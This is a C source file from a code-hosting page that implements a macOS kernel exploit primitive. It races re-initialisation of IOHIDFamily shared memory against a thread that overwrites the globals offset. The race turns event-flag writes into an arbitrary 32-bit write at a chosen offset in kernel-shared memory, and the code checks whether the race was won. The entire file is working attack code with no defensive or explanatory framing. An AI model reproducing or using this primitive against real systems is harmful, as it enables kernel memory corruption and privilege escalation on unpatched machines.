Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
146 lines (125 sloc) 3.87 KB
#include <pthread.h> // pthread_*
#include <setjmp.h> // setjmp, longjmp
#include <signal.h> // SIG*, signal
#include <mach/mach.h>
#include <IOKit/IOKitLib.h> // IO*
#include <IOKit/hidsystem/IOHIDShared.h> // EvOffsets, EvGlobals, kIOHID
#include "common.h" // LOG, ERR
const uint64_t IOHID_SHMEM_VERSION = kIOHIDCurrentShmemVersion;
const uint64_t IOHID_CREATE_SHMEM = 0;
kern_return_t shmem_init(io_connect_t client)
{
return IOConnectCallScalarMethod(client, IOHID_CREATE_SHMEM, &IOHID_SHMEM_VERSION, 1, NULL, NULL);
}
static jmp_buf env;
static void sighandler(int signo)
{
longjmp(env, 1);
}
typedef struct
{
volatile int *ptr;
int val;
} my_args_t;
static void* spam_value(void *arg)
{
sig_t oldfunc = signal(SIGUSR1, sighandler);
my_args_t *args = arg;
volatile int *ptr = args->ptr;
int val = args->val;
if(setjmp(env) == 0)
{
while(1) *ptr = val;
}
signal(SIGUSR1, oldfunc);
return NULL;
}
static kern_return_t start_thread(pthread_t *thread, my_args_t *args)
{
int r = pthread_create(thread, NULL, &spam_value, args);
if(r != 0)
{
ERR("pthread_create: %s", strerror(r));
return KERN_FAILURE;
}
return KERN_SUCCESS;
}
static kern_return_t stop_thread(pthread_t thread)
{
sigset_t set, old;
int r = sigemptyset(&set);
if(r != 0) ERR("sigemptyset: %s", strerror(r));
else
{
r = sigaddset(&set, SIGUSR1);
if(r != 0) ERR("sigaddset: %s", strerror(r));
else
{
r = pthread_sigmask(SIG_BLOCK, &set, &old);
if(r != 0) ERR("pthread_sigmask: %s", strerror(r));
else
{
r = pthread_kill(thread, SIGUSR1);
if(r != 0) ERR("pthread_kill: %s", strerror(r));
else
{
r = pthread_sigmask(SIG_SETMASK, &old, NULL);
if(r != 0) ERR("pthread_sigmask: %s", strerror(r));
else
{
r = pthread_join(thread, NULL);
if(r != 0) ERR("pthread_join: %s", strerror(r));
}
}
}
}
}
return r == 0 ? KERN_SUCCESS : KERN_FAILURE;
}
// This is pretty straightforward
kern_return_t write_uint32(io_connect_t client, mach_vm_address_t addr, int off, uint32_t val)
{
EvOffsets *eop = (EvOffsets*)addr;
EvGlobals *evg = (EvGlobals*)(addr + sizeof(EvOffsets));
kern_return_t ret;
LOG("Writing value 0x%08x to offset %s0x%08x...", val, off < 0 ? "-" : "", off < 0 ? -off : off);
pthread_t thread;
my_args_t args =
{
.ptr = &eop->evGlobalsOffset,
// off is offset from shared memory start, so adjust for eventFlags offset to get there
.val = off - ((uintptr_t)&evg->eventFlags - (uintptr_t)evg),
};
// The entire shared memory gets bzero'ed out before the default values are set.
// We can use that to detect whether we won the race or not. If we did, then e.g.
// evg->version will == 0, otherwise it'll == kIOHIDCurrentShmemVersion (currently 4).
if((ret = start_thread(&thread, &args)) == KERN_SUCCESS)
{
do
{
evg->eventFlags = val;
ret = shmem_init(client);
if(ret != KERN_SUCCESS)
{
ERR("Failed to re-initialize shared memory: %s", mach_error_string(ret));
break;
}
} while(evg->version != 0);
kern_return_t r = stop_thread(thread);
if(ret == KERN_SUCCESS)
{
ret = r;
}
}
// Cleanup
if(ret == KERN_SUCCESS)
{
LOG("Done, resetting pointers...");
ret = shmem_init(client);
if(ret != KERN_SUCCESS)
{
ERR("Failed: %s", mach_error_string(ret));
}
}
return ret;
}